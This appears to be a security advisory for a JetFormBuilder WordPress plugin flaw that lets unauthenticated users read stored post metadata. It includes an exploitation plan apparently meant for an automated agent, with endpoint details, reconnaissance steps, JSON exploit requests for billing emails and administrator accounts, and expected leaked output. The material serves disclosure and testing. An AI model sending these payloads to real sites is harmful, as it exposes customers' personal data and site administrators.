JetFormBuilder <= 3.6.3 - Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'context' Parameter
Description
The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve every distinct value stored under any arbitrary wp_postmeta key on the site — including WooCommerce billing PII such as _billing_email, _billing_phone, and _billing_address fields, order totals, attachment paths, and any third-party plugin credentials or tokens stored in post meta — provided at least one published JetFormBuilder form with a get_from_db generator field exists on the site. Exploitation requires that the target site has at least one published jet-form-builder post containing a field whose generator_function is set to get_from_db; an attacker must supply a matching form ID, field name, and generator ID in the request, but all of these can be discovered by browsing the site's public forms.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.6.3.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-13459 (JetFormBuilder) ## 1. Vulnerability Summary The JetFormBuilder plugin for WordPress is vulnerable to an unauthenticated sensitive information disclosure. The vulnerability resides in the `Get_From_DB` generator, which is designed to dynamically populate…
Show full research plan
Exploitation Research Plan: CVE-2026-13459 (JetFormBuilder)
1. Vulnerability Summary
The JetFormBuilder plugin for WordPress is vulnerable to an unauthenticated sensitive information disclosure. The vulnerability resides in the Get_From_DB generator, which is designed to dynamically populate form fields (like Select or Checkbox) with unique values from the wp_postmeta table.
The Generator_Update_Endpoint REST API allows unauthenticated users to trigger option regeneration. When the get_from_db generator is used, the generate_with_context method fails to validate the meta_key provided in the context parameter. This allows an attacker to supply any arbitrary meta key, causing the plugin to execute a SELECT DISTINCT query on that key and return all unique values found in the database.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/jet-form-builder-v2/v1/generator-update(Namespacejet-form-builder-v2/v1is standard for this module). - Action:
WP_REST_Server::CREATABLE(POST request). - Vulnerable Parameter:
context(specifically the first value in thecontextassociative array). - Required Parameters:
form_id: The ID of a published JetFormBuilder form.field_name: The name of a field within that form using theget_from_dbgenerator.generator_id: Must beget_from_db.
- Authentication: None (Unauthenticated).
- Precondition: A published JetFormBuilder form must exist containing at least one field configured to use the "Get values list from database" generator.
3. Code Flow
- Entry Point: An unauthenticated request hits
JFB_Modules\Option_Field\Rest_Api\Generator_Update_Endpoint::run_callback(). - Permission Check:
check_permission()returnstrue, allowing the request to proceed. - Form Resolution:
resolve_form_post()validates that theform_idbelongs to a publishedjet-form-builderpost. - Attribute Retrieval:
get_block_attrs_from_post()retrieves the attributes for the specifiedfield_namefrom the form post's content. - Generator Validation: The code verifies that the requested
generator_idmatches thegenerator_functionattribute saved in the form (preventing arbitrary generator execution). - Generator Execution:
Registry::instance()->generate()is called with the requestedgenerator_id,block_attrs, and the attacker-suppliedcontext. - Context Injection (The Sink): In
Jet_Form_Builder\Generators\Get_From_DB::generate_with_context():- The code calls
reset( $context )to get the first value from the context array. - It assigns this value to
$settings['meta_key']. - It calls
$this->generate( $settings ).
- The code calls
- Information Disclosure: In
Get_From_DB::generate():- The
$meta_keyis used directly in a prepared statement:SELECT DISTINCT meta_value FROM $table WHERE meta_key = %s. - Every distinct value for that key in the
wp_postmetatable is returned in the JSON response.
- The
4. Nonce Acquisition Strategy
According to Generator_Update_Endpoint::check_permission(), the endpoint allows public access for frontend forms.
- Verification:
resolve_form_postonly checks apreview_nonceif the post status is not 'publish'. - Conclusion: If targeting a published form (the standard use case), no nonce is required.
If a nonce were required for a specific environment (e.g., testing on a draft form), the following JS variable usually holds the REST nonce:window.JetFormBuilderData?.rest_nonce
5. Exploitation Strategy
Step 1: Reconnaissance
Find a published form and identify the necessary IDs.
- Navigate to the homepage or any page containing a JetFormBuilder form.
- Inspect the page source for
jet-form-builder-classes. - Locate the form container and find the
data-form-idattribute (e.g.,123). - Locate an option field (Select/Radio) and find its
nameattribute (e.g.,dynamic_field).
Step 2: Payload Construction
Construct a JSON POST body targeting sensitive meta keys.
- Target:
_billing_email(WooCommerce PII) - Endpoint:
/wp-json/jet-form-builder-v2/v1/generator-update
Step 3: Execution (HTTP Request)
Use the http_request tool to send the exploit payload.
{
"method": "POST",
"url": "http://localhost:8080/wp-json/jet-form-builder-v2/v1/generator-update",
"headers": {
"Content-Type": "application/json"
},
"body": "{\"form_id\": 123, \"field_name\": \"dynamic_field\", \"generator_id\": \"get_from_db\", \"context\": {\"trigger\": \"_billing_email\"}}"
}
6. Test Data Setup
- Install JetFormBuilder (v3.6.3).
- Create sensitive data: Create a few WooCommerce orders or manually add sensitive post meta:
wp post create --post_type=post --post_title="Dummy" --post_status=publish wp post meta add [POST_ID] _billing_email "admin@victim.com" wp post meta add [POST_ID] _billing_email "customer@victim.com" - Create the vulnerable form:
- Create a new form (
jet-form-builderpost type). - Add a Select Field.
- In the "Fill Options From" setting, choose "Get values list from database".
- Set a dummy "Meta Key" in the UI (e.g.,
dummy_key). - In the "Generator Settings" (sidebar), enable "Reload field options" (this ensures the REST endpoint is intended to work with this field).
- Publish the form and note the Form ID and Field Name.
- Create a new form (
7. Expected Results
A successful response (HTTP 200) will contain a JSON object where the options array includes all unique values for the injected meta key.
Response Example:
{
"success": true,
"options": [
{
"value": "admin@victim.com",
"label": "admin@victim.com"
},
{
"value": "customer@victim.com",
"label": "customer@victim.com"
}
]
}
8. Verification Steps
After the HTTP request, verify the data matches the database content using WP-CLI:
wp db query "SELECT DISTINCT meta_value FROM wp_postmeta WHERE meta_key = '_billing_email'"
The values in the CLI output should match the values in the REST API response.
9. Alternative Approaches
If get_from_db is not active on the target site, check if get_from_users is available.
- Generator ID:
get_from_users - Logic:
Get_From_Users::generate_with_context()allows overriding therolessetting via the context. - Exploit: Send a context value that corresponds to
administrator. - Result: Discloses
user_login,user_email, ordisplay_nameof all administrators depending on the field's static configuration.
Payload for Administrator Disclosure:
{
"form_id": 123,
"field_name": "user_select_field",
"generator_id": "get_from_users",
"context": { "trigger": "administrator" }
}
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.